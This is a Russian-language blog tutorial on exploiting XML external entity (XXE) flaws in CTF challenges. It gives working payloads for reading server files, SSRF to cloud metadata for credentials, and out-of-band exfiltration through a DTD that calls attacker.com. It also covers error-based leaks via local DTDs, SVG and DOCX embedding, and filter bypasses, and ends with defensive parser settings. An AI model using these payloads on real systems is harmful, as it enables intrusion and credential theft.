Главная / Блог / XXE-инъекции в CTF: пошаговая эксплуатация

14 мин.00

XXE-инъекции в CTF: пошаговая эксплуатация

XXE-инъекции в CTF: пошаговая эксплуатация

На PortSwigger Web Security Academy задача по классическому XXE решается за три минуты — вставил DOCTYPE с file:///etc/passwd, подставил сущность в поле ввода, забрал содержимое файла в ответе. Готово, лаба зелёная. А теперь представьте CTF, где outbound-трафик заблокирован, ответ парсера не отображается, а DOCTYPE фильтруется регуляркой. Та же по сути уязвимость превращается в трёхчасовой квест с перебором техник от OOB-эксфильтрации до error-based через локальные DTD. Разница между первым и вторым сценарием не в сложности пейлоада, а в понимании того, как именно XML-парсер жуёт ваш документ и какие рычаги у вас есть. Здесь разбираю все типы XXE-инъекций, которые встречаю на CTF: от прямого чтения файлов до слепой эксфильтрации через ошибки парсинга, обхода WAF и эксплуатации через загрузку SVG и Office-документов.

XML-сущности и DTD: минимум теории для эксплуатации XXE

XML — язык разметки с пользовательскими тегами. Из всей спецификации для CTF критичны два механизма: сущности (entities) и определения типа документа (DTD). Подробнее — в нашем подробном разборе создание ctf заданий.

Сущности работают как переменные. Объявляются в блоке <!DOCTYPE> через <!ENTITY name "value"> и подставляются в документе как &name;. Внутренние хранят значение прямо в объявлении. Внешние — загружают данные из файла или URL через ключевое слово SYSTEM: <!ENTITY xxe SYSTEM "file:///etc/passwd">. Именно внешние сущности превращают безобидный парсер в инструмент чтения произвольных файлов.

DTD (Document Type Definition) — блок в начале XML-документа, задающий структуру и объявления сущностей. Бывает внутренний (встроен в <!DOCTYPE ... [ ... ]>) и внешний (загружается по URL). DTD — точка входа для XXE-инъекций: именно тут объявляются вредоносные внешние сущности.

Parameter entities — отдельный вид сущностей, живущих только внутри DTD. Объявляются через <!ENTITY % name ...> и вызываются как %name;. Без них невозможна слепая эксфильтрация: обычные сущности нельзя вкладывать друг в друга, а parameter entities — можно, что позволяет динамически собирать URL с содержимым файла.

Billion laughs — DoS-атака через XML, где сущности ссылаются друг на друга экспоненциально. Десяток вложенных <!ENTITY> разворачивается в гигабайты данных и кладёт парсер. В CTF этот вектор встречается редко (флаг так не достанешь), но знать его стоит — понимаешь, почему парсеры ограничивают глубину вложенности.

Отдельно стоит упомянуть CVE-2018-1000838 (CWE-611) — XXE-уязвимость в форензик-платформе Autopsy версий до 4.9.0 (NVD не присваивает CVSS-score для этой CVE; независимый расчёт OSV.dev по вектору CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H даёт 10.0, что соответствовало бы Critical, но это не официальная классификация NVD). Атака через вредоносный CaseMetadata-файл позволяла читать конфиденциальные данные, вызывать отказ в обслуживании, выполнять SSRF и сканирование портов. Не billion laughs, а классическая XXE через XML-парсер — но хорошо показывает, как CWE-611 проявляется в десктопных инструментах.

По классификации: OWASP Top 10 2021 относит XXE уязвимость к A05:2021 — Security Misconfiguration (на момент написания статьи официальная редакция OWASP Top 10 2025 не опубликована; классификация XXE в будущих редакциях может измениться). По CWE это CWE-611 (Improper Restriction of XML External Entity Reference) — приложение обрабатывает XML-документ с URI, выходящими за пределы контролируемого периметра. Последствия CWE-611: чтение данных приложения (Confidentiality), обход механизмов защиты (Integrity) и потребление ресурсов CPU (Availability).

В терминах MITRE ATT&CK эксплуатация XXE-инъекции — техника Exploit Public-Facing Application (T1190, Initial Access): атакующий бьёт по публично доступному веб-эндпоинту. Результат может быть Credentials In Files (T1552.001, Credential Access) при чтении конфигов с паролями или Data from Local System (T1005, Collection) при извлечении произвольных файлов.

Классическая XXE-инъекция: чтение файлов на сервере

Самый частый сценарий в CTF-задачах категории web. Условие: приложение принимает XML, парсер обрабатывает внешние сущности, результат парсинга отображается в ответе.

Типичная точка входа — API-эндпоинт, принимающий XML в теле POST-запроса. На CTF это может быть форма обратной связи, парсер конфигурации, проверка наличия товара (как в лабах PortSwigger с stockCheck). Задача: найти поле в XML, значение которого отражается в ответе, и подставить туда сущность с протоколом file://.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data><input>&xxe;</input></data>

Парсер подставляет содержимое /etc/passwd вместо &xxe; и возвращает его в ответе. Видите root:x:0:0:root:/root:/bin/bash — XXE уязвимость подтверждена.

Что читать первым делом при эксплуатации XXE в CTF:

  • /etc/passwd — подтверждение уязвимости обработки XML и список пользователей
  • /proc/self/environ — переменные окружения процесса (часто тут лежит флаг, путь к нему или секретные ключи)
  • /flag.txt, /home/ctf/flag.txt, /app/flag, /root/flag — стандартные расположения флагов
  • /proc/self/cwd/app.py или /proc/self/cwd/server.js — исходный код приложения через /proc/self/cwd (символическая ссылка на рабочую директорию процесса)
  • /proc/self/cmdline — полная командная строка запуска, раскрывает путь к скрипту

Типичные грабли и как их обходить. Пейлоад не срабатывает — проверяйте по порядку. Первое: валидность XML. Незакрытый тег, пропущенная кавычка — парсер отвергнет документ до обработки сущностей. Второе: кодировка. Если приложение ждёт UTF-8, а вы шлёте с другой — парсер откажет. Третье: нужное поле. Не каждое значение из XML попадает в ответ — тестируйте каждый узел данных по отдельности, как рекомендует PortSwigger. Четвёртое: содержимое файла ломает XML. Если в файле есть символы <, >, & — парсер падает с ошибкой.

Для PHP-приложений проблему спецсимволов решает обёртка php://filter/convert.base64-encode/resource=/etc/passwd вместо прямого file:///etc/passwd. Результат вернётся в base64 — без символов, ломающих XML-структуру. Декодируете через base64 -d и читаете.

SSRF через XXE: от чтения файлов к внутренним сервисам

XXE-инъекция — не только про файлы. Тут начинается самое интересное.

Пейлоад: <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">. На AWS-инфраструктуре этот запрос к metadata endpoint возвращает IAM-роли и временные креденшелы инстанса. По данным HackTricks, SSRF через XXE к cloud metadata — рабочий вектор в облачных CTF-сценариях, где задание развёрнуто на EC2 или аналогичных сервисах.

Для задач на внутреннюю разведку через SSRF — перебирайте порты и адреса: http://127.0.0.1:8080, http://localhost:3000, http://internal-api:5000. Если ответ от внутреннего сервиса отображается в ответе приложения — это full SSRF с двусторонним взаимодействием. Не отображается — blind SSRF, но и он бывает критичен (сброс пароля через внутренний API, обращение к базе данных).

В реальных CVE XXE-уязвимости подтверждены многократно. CVE-2021-20454 (CVSS 8.2 HIGH, вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L) — IBM WebSphere Application Server версий 7.0, 8.0, 8.5 и 9.0 был уязвим к XXE при обработке XML-данных. По официальному описанию NVD, удалённый атакующий мог раскрыть конфиденциальные данные (C:H) или вызвать потребление ресурсов памяти (A:L); SSRF в описании NVD для этой CVE не упоминается. CVE-2019-12153 (CWE-918) — SSRF через HTML-парсер в RealObjects PDFreactor до версии 10.1.10722 (не связана с XML entity-инъекцией). CVE-2019-12154 (CWE-611) — отдельная XXE-уязвимость XML-парсера той же библиотеки, позволявшая раскрытие локальных файлов.

Blind XXE: эксфильтрация без вывода в ответе

На CTF средней и высокой сложности значение подставленной сущности не появляется в ответе. Приложение парсит XML, но отвечает только «Success», «Error» или статусом 200 без тела. Это blind XXE exploitation — и тут арсенал расширяется.

OOB XXE атака через внешний DTD

Out-of-band (OOB) эксфильтрация — техника отправки прочитанных данных на контролируемый атакующим сервер через DNS или HTTP. Механизм строится на parameter entities: они позволяют вложить содержимое файла в URL внешнего запроса.

Схема атаки в три шага. Атакующий хостит вредоносный DTD-файл на своём сервере. Пейлоад заставляет целевой парсер загрузить этот DTD. Внутри DTD вложенные parameter entities читают файл и отправляют его содержимое GET-параметром на сервер атакующего.

Вредоносный DTD-файл (хостится на http://attacker.com/evil.dtd):

<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM
  'http://attacker.com/?d=%file;'>">
%eval;
%exfil;

Пейлоад для отправки приложению: <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]> и любой валидный XML-элемент после. Парсер загружает внешний DTD, выполняет объявление %eval; (которое создаёт сущность %exfil; с URL, содержащим %file;), затем выполняет %exfil; — и содержимое /etc/hostname уходит GET-параметром на сервер атакующего.

Инструменты для приёма OOB-запросов на CTF:

  • interactsh-client от ProjectDiscovery — бесплатный OOB-инструмент, запускается одной командой, генерирует уникальный домен, логирует все DNS и HTTP-обращения к нему
  • Burp Collaborator в Pro-версии — встроенный OOB-приёмник, интеграция с Repeater
  • python3 -m http.server 8888 — минимальный вариант, видите GET-запросы в терминале
  • На HackTheBox и подобных платформах обычно доступен VPN-интерфейс (tun0), через который сервер задания может достучаться до вашей машины

Проблема с многострочными файлами при OOB. HTTP-URL не поддерживает переносы строк. Для /etc/passwd OOB через HTTP вернёт только первую строку или выдаст ошибку парсера. Решения: использовать php://filter/convert.base64-encode для кодирования (если бэкенд на PHP); читать файлы без переносов (/etc/hostname, однострочные флаги); FTP-эксфильтрация — поднять FTP-сервер, принимающий многострочные данные (скрипт xxe-ftp-server.rb, описанный в HackTricks, решает именно эту задачу).

DNS-эксфильтрация как fallback. Если HTTP наружу заблокирован, DNS часто остаётся открытым. Пейлоад: <!ENTITY % exfil SYSTEM "http://%file;.your-domain.com/">. Содержимое файла попадает в DNS-запрос как поддомен — interactsh или Burp Collaborator его зафиксирует. Длина ограничена 63 символами на метку и 253 на весь домен, но для флагов хватает.

Error-based XXE с локальными DTD

Исходящие соединения заблокированы полностью — ни HTTP, ни DNS наружу. На CTF это значит, что OOB XXE атака не пройдёт. Остаётся error-based: заставить парсер выбросить сообщение об ошибке, содержащее данные из файла.

Идея: объявить сущность с содержимым целевого файла, затем использовать это содержимое как путь к несуществующему ресурсу. Парсер попытается открыть файл по этому пути, не найдёт его и вернёт ошибку вида file not found: [содержимое_целевого_файла]. Грязно, но работает.

Главная проблема: XML-спецификация запрещает вложение parameter entities во внутреннем DTD. Для вложения нужен внешний DTD, а outbound заблокирован. Решение — переиспользовать DTD-файлы, уже лежащие на сервере. На Linux-системах почти всегда есть /usr/share/xml/fontconfig/fonts.dtd или /usr/share/yelp/dtd/docbookx.dtd, содержащие parameter entity-объявления, которые можно переопределить.

<!DOCTYPE foo [
  <!ENTITY % local_dtd SYSTEM
    "file:///usr/share/xml/fontconfig/fonts.dtd">
  <!ENTITY % expr 'aaa)>
    <!ENTITY &#x25; file SYSTEM "file:///etc/hostname">
    <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; err
      SYSTEM &#x27;file:///nonexist/%file;&#x27;>">
    &#x25;eval; &#x25;err;
    <!ELEMENT a (b'>
  %local_dtd;
]><foo>a</foo>

Как это работает: %local_dtd; загружает системный файл fonts.dtd. В нём есть объявление %expr; — но мы его переопределили раньше (первое определение имеет приоритет). Наше определение %expr; выходит из контекста оригинального объявления через aaa)>, объявляет %file; (содержимое целевого файла), конструирует %err; (обращение к несуществующему пути с содержимым файла) и вызывает обе сущности. Ошибка парсера содержит данные из /etc/hostname — вот ваш флаг.

Поиск подходящих DTD на сервере. Если fonts.dtd отсутствует — перебирайте другие стандартные пути: /usr/share/sgml/docbook/xml-dtd-4.1.2/docbookx.dtd, /usr/share/xml/scrollkeeper/dtds/scrollkeeper-omf.dtd, /usr/share/yelp/dtd/docbookx.dtd. По данным книги J. Woltjer, конкретный пейлоад зависит от контекста переопределяемой сущности в каждом DTD — шаблоны для пяти различных контекстов доступны в профильных коллекциях пейлоадов. В Java-приложениях можно обращаться к DTD внутри JAR-файлов через протокол jar:file:///.

XXE через загрузку файлов: SVG и Office-документы

Не каждый CTF-таск принимает «голый» XML через POST. Часто точка входа — загрузка файлов: аватар, резюме, таблица с данными. За кулисами эти форматы основаны на XML, и уязвимости обработки XML проявляются при серверном парсинге.

SVG — векторный формат изображений, построенный на XML. Если приложение принимает загрузку картинок и обрабатывает SVG на сервере (ресайз, валидация, рендеринг в PNG), XXE-пейлоад встраивается прямо в SVG-файл. Создайте файл evil.svg с DOCTYPE в начале: <!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>, затем в элементе <text x="10" y="20">&xxe;</text> — при рендеринге содержимое файла отобразится на получившемся изображении. Даже если приложение ожидает PNG или JPEG, библиотека обработки (ImageMagick, librsvg, Batik) может поддерживать SVG и обработает вредоносный файл.

DOCX, XLSX, PPTX — ZIP-архивы с XML-файлами внутри. Файлы [Content_Types].xml, word/document.xml, xl/sharedStrings.xml — полноценные XML-документы, которые парсер обрабатывает при загрузке. Алгоритм эксплуатации: создайте легитимный документ; распакуйте его unzip report.docx -d report/; внедрите XXE-пейлоад в один из XML-файлов (чаще всего [Content_Types].xml); запакуйте обратно cd report && zip -r ../evil.docx .; загрузите на сервер. По данным YesWeHack, для автоматизации XLSX-пейлоадов существует инструмент XXElixir.

В CVE-2019-0340 (CWE-611) загрузка файлов с XXE-пейлоадом позволяла читать локальные файлы в SAP Enable Now до версии 1902 — парсер не был закалён, и уязвимость сидела в нескольких точках загрузки файлов.

Обход фильтров: XInclude, Content-Type и кодировки

На CTF повышенной сложности прямой DOCTYPE заблокирован WAF или кастомным фильтром. Разберём техники обхода.

XInclude — когда DOCTYPE недоступен

Приложение получает данные от клиента и вставляет их в серверный XML-документ (SOAP-запрос, шаблон). Контролируется только значение одного поля — объявить DOCTYPE невозможно. Тут работает XInclude, механизм сборки XML-документа из фрагментов.

Пейлоад для подстановки в поле: <foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>. XInclude не требует DOCTYPE и работает из любого места в XML-документе. Согласно PortSwigger, этот вектор применим когда данные клиента помещаются в backend SOAP-запрос.

Content-Type manipulation

Приложение выглядит как JSON API, но фреймворк автоматически парсит XML при смене заголовка. Замените Content-Type: application/json на Content-Type: application/xml или text/xml и отправьте XML-пейлоад вместо JSON-тела. На CTF это частая ловушка: задание прикидывается REST API с JSON, но серверный фреймворк может молча обработать оба формата, если подключена XML-зависимость (например, Jackson XML module или JAXB в Spring Boot, xml-body-parser в Express) — это не поведение по умолчанию, а зависит от установленных библиотек. По данным HackTricks, аналогично работает переключение с application/x-www-form-urlencoded на application/xml.

UTF-7 и обфускация кодировок

Если WAF или фильтр блокирует строки <!DOCTYPE, <!ENTITY, SYSTEM — меняйте кодировку XML-документа. В UTF-7 символы <! кодируются как +ADwAIQ-, остальная часть строки остаётся в ASCII, давая +ADwAIQ-DOCTYPE. Заголовок XML: <?xml version="1.0" encoding="UTF-7"?>. Но эта техника работает только против парсеров, явно поддерживающих UTF-7 (например, старые версии .NET Framework XmlDocument) — большинство современных парсеров (libxml2, Java XML API, lxml) UTF-7 не понимают или требуют явного разрешения. Проверяйте совместимость с конкретным парсером на стенде.

Ещё варианты обхода: HTML-entities внутри DTD (&#x3c; вместо <) для обхода простых регулярных выражений; base64 через PHP-обёртки; UTF-16 encoding (BOM \xFF\xFE в начале файла). На CTF перебор кодировок занимает минуты, но часто даёт результат на задачах с нетривиальным WAF.

Инструменты и чек-лист для XXE в CTF

Пошаговый алгоритм при встрече с потенциальной точкой XXE-инъекции:

  1. Определите точку входа. Ищите Content-Type: application/xml или text/xml в HTTP-запросах через Burp Proxy. Проверьте формы загрузки файлов (SVG, DOCX, XLSX). Попробуйте сменить Content-Type на XML в JSON-эндпоинтах. Просмотрите WSDL-файлы SOAP-сервисов.

  2. Проверьте базовый XXE. Объявите внутреннюю сущность <!ENTITY test "hello"> и подставьте &test; в поле, отображаемое в ответе. Если hello появится — парсер обрабатывает сущности, переходите к внешним: SYSTEM "file:///etc/passwd".

  3. Нет вывода → blind XXE. Подставьте parameter entity: <!ENTITY % xxe SYSTEM "http://your-ip:8888/probe"> %xxe; и запустите python3 -m http.server 8888. Пришёл запрос — OOB работает, разворачивайте полную схему с внешним DTD.

  4. OOB заблокирован → error-based. Пробуйте переопределение parameter entities в локальных DTD: fonts.dtd, docbookx.dtd, scrollkeeper-omf.dtd.

  5. DOCTYPE заблокирован → XInclude. Вставляйте xi:include в доступное поле данных.

  6. Всё отфильтровано → кодировки. UTF-7, UTF-16, PHP-обёртки с base64.

Набор инструментов:

  • Burp Suite Repeater — основной рабочий инструмент для итеративной модификации XML-пейлоадов. Отправили запрос, увидели ответ, подправили пейлоад, отправили снова. Для OOB-детекции — Burp Collaborator (Pro).
  • interactsh-client — бесплатная альтернатива Collaborator из набора ProjectDiscovery. Запуск: interactsh-client, копируете сгенерированный домен в пейлоад, видите DNS/HTTP-обращения в реальном времени.
  • curl — для быстрой проверки без GUI: curl -X POST -H "Content-Type: application/xml" -d @payload.xml http://target/api. Удобнее Burp для скриптования перебора.
  • XXEinjector — автоматизирует полный цикл OOB-эксфильтрации: генерирует DTD, поднимает HTTP/FTP-сервер, собирает извлечённые данные по частям. Полезен для многострочных файлов.
  • Canarytokens (canarytokens.org) — ещё один бесплатный OOB-детектор: создаёте DNS-токен, вставляете его домен в XXE-пейлоад, получаете оповещение при срабатывании.

Защита от XXE (чтобы понимать, что ломаете) сводится к отключению обработки внешних сущностей и DTD в парсере. Для Java: factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true). Для Python: библиотека defusedxml вместо стандартной xml.etree. Для PHP: libxml_disable_entity_loader(true) в версиях до 8.0. Начиная с PHP 8.0 эта функция deprecated и не требуется — загрузка внешних сущностей отключена по умолчанию благодаря libxml2 >= 2.9. Современные версии парсеров по умолчанию блокируют внешние сущности — но легаси-код, устаревшие библиотеки и явное включение опасных фич разработчиками создают поверхность атаки, которая эксплуатируется и в CTF, и в проде.

Большинство CTF-команд делят XXE-задачи на «лёгкие» (классика с выводом) и «интересные» (blind, error-based, file upload). На практике граница размывается: задание, которое выглядит как классический XXE, может оказаться blind с задержкой — парсер обрабатывает сущность, но результат уходит в лог, а не в HTTP-ответ. Сам несколько раз терял время, методично перебирая поля для отражения вывода, хотя нужно было сразу переключиться на OOB-проверку через interactsh. Не повторяйте.

Error-based XXE через локальные DTD незаслуженно игнорируется. На CTF с изолированной сетью (нет outbound ни по HTTP, ни по DNS) это единственный рабочий вектор для blind XXE-эксфильтрации. Но подавляющее большинство участников даже не пытаются его применить — потому что не знают, какие DTD-файлы лежат на типовом Linux-контейнере Ubuntu/Debian. Держите список путей к системным DTD в шпаргалке — он экономит часы на jeopardy-CTF. А CVE-2021-20454 с CVSS 8.2 в IBM WebSphere напоминает, что CWE-611 — не учебная уязвимость: enterprise-продукты продолжают принимать XML без отключения DTD-обработки. На CTF вы забираете флаг, в проде — AWS-креденшелы через SSRF к metadata endpoint, и масштаб последствий несопоставим. На WAPT эту цепочку — от базового XXE до blind OOB с FTP-эксфильтрацией — проходят в двух модулях с лабами.

🚀 Хочешь закрепить на практике? Реши задачи по теме на HackerLab — категория «pentest-machines».

Поделиться

0 комментариев

Пожалуйста, войдите, чтобы оставить комментарий.

Загрузка комментариев...

Читайте также

Buffer overflow для начинающих: от краша до shell

12 мин.

7

Buffer overflow для начинающих: от краша до shell

Сквозной разбор переполнения стека: пишем уязвимый C-файл, находим offset через GDB и cyclic, перезаписываем return address эксплойтом на pwntools

17 СЕНТЯБРЬ, 2026

Pwntools для начинающих: первый эксплойт для CTF

12 мин.

5

Pwntools для начинающих: первый эксплойт для CTF

Пошаговый разбор pwntools: установка, cyclic-паттерны, p64, GDB-интеграция. Пишем buffer overflow эксплойт за 8 строк Python с объяснением каждой строки.

17 СЕНТЯБРЬ, 2026

Race condition эксплуатация в CTF на практике

11 мин.

7

Race condition эксплуатация в CTF на практике

Разбор 3 типов race condition с эксплуатацией в Burp Suite и Turbo Intruder. Single-packet attack, TOCTOU-паттерны и реальные CVE — практика для CTF-игроков.

16 СЕНТЯБРЬ, 2026